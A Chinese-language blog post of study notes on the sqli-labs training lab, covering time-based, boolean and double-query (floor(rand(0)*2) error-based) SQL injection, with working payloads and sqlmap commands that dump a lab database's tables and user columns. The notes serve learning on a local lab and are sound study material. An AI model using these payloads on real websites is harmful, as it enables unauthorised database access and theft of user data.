Loading... # Sqli-labs3 sql盲注 利用version函数,爆出数据库版本 ![image-20220128165025101.png](http://xherlock.top/usr/uploads/2022/01/4275391343.png) **left(string, n)** 截取string字符串的左边n个字符 ![image-20220128165716365.png](http://xherlock.top/usr/uploads/2022/01/1616011148.png) **mid(string, start, length)** 截取字符串从start开始长度为length的字符串(length可选,无时截到最后) **substr(string, start,length)** 同上 <img src="http://xherlock.top/usr/uploads/2022/01/1705757886.png" alt="image-20220128175640345" style="zoom:80%;" style=""> 可以在外面再包裹上一层ascii函数,化成数值(或者ord) ![image-20220128175846655.png](http://xherlock.top/usr/uploads/2022/01/2439257868.png) ascii值为115对应s ## Less-5 双注入GET单引号字符型注入 GET-Double injection-Single Quotes-String ### 法一 时间延迟型注入 正确会延迟,错误无延迟 1. ~~~sql /Less-5/?id=1' and sleep(5)--+ ~~~ 延迟明显说明是单引号字符型注入 2. 爆库长 ~~~ /Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+ ~~~ 延迟说明库名长为8 3. 爆库名 ~~~ ?id=1' and if(left(database(),1)='s',sleep(5),1)--+ ~~~ 最终得security 4. 爆表、列名 可以直接指定limit来查询是否存在user、password之类的列 以上这种工作十分麻烦 交给sqlmap(一个python脚本)来做 补充sqlmap * sqlmap -u "http://192.168.7.111/Less-5/?id=1" 查询是否存在注入 * sqlmap -u "http://192.168.7.111/Less-5/?id=1" -current-db 查询当前数据库名 * sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" --tables 查询当前数据库中所有表 * sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" -T "users" --columns 查询指定库中指定表的所有列(字段) * sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" -T "users" -C "username" --dump 打印指定列中所有字段内容 ### 法二 布尔型注入 正确会回显,错误没有回显 手工注入可以采用二分法,逐字爆破,其他都差不多 相当于报错注入,这里有特别多方法,网上给了各种但都需要深入了解各种mysql数据类型和函数机制 ### 法三 双注入 利用聚合函数进行查询,会在错误信息中显示一部分错误信息 #### 双注入原理 真tm爽,在网上找了好多解释原理都解释不清,这个https://mochazz.github.io/2017/09/23/Double_%20SQL_Injection/#0x01-%E5%8F%8C%E6%9F%A5%E8%AF%A2一下子解释清了,还特别生动 floor() 向下取整 rand() 产生一个0-1的随机数 rand(0)会产生一个固定随机次序(即每次rand(0)产生序列相同) 这样group by floor(rand(0)*2)就可以依据产生0或1来分组 ![image-20220128200442211.png](http://xherlock.top/usr/uploads/2022/01/1152098191.png) 记住这个序列,在后面很有用 下面我们加入concat和group by ![image-20220128213015194.png](http://xherlock.top/usr/uploads/2022/01/3929809199.png) 可以看到只有两个分组,对应前面只有0和1,接着我们添加count(*),这里很关键,因为在计算数目时,我们先查询要插入键的是否已存在,若已存在,直接在对应的键值处count+1;若不存在,则需要插入,此时插入时,由于插入的是含rand的数据(随机),所要插入的值有可能发生变化,比如以上面的01序列为例 首先查询发现第一个是0,向虚拟表(作为查询表)插入时,又rand一次,实际插入为1,count(1)=1;接着再次查询,是1,此时虚拟表中已存在1,所以count(1)=2;最后查询是0,虚拟表中不存在0,需要插入,插入的时候又rand了,实际插入成了1,但是这里已经存在为1的键了,矛盾,报错!!!(warning:这里可以看出来必须要有至少3行数据才可以报错,抽屉原理~哈哈哈) 就出现了下面的情况: ![image-20220128213853668.png](http://xherlock.top/usr/uploads/2022/01/1928707193.png) 我们可以看到我们所要查询的信息随着报错信息被泄露了,这里database()即可换为我们任何想要查询的信息,比如 ![image-20220128214436946.png](http://xherlock.top/usr/uploads/2022/01/3728691447.png) payload: ~~~ ?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ ~~~ 可以看到爆出了当前数据库所有的表名,下面就可以如法炮制(只需改变concat里第一个参数) 这个法最简单,但最不好理解 ## Less-6 双注入GET双引号字符型注入 GET-Double Injection-Double Quotes-String 换成双引号即可 ## Less-7 导出文件GET字符型注入 GET-Dump into outfile-String 先自己观察了一波发现源码中同5、6不同的地方在于 ![image-20220128223859495.png](http://xherlock.top/usr/uploads/2022/01/775237471.png) 原来可以输出报错信息的代码被注释掉了,同时也无法利用时间延迟注入 明天接着写! 小结: * 在sqlmap、less-5中的时间延迟、盲注、报错注入上花了很长时间,也了解到了不少知识 * 今天效率很低,明天得注意了 最后修改:2022 年 01 月 28 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,请随意赞赏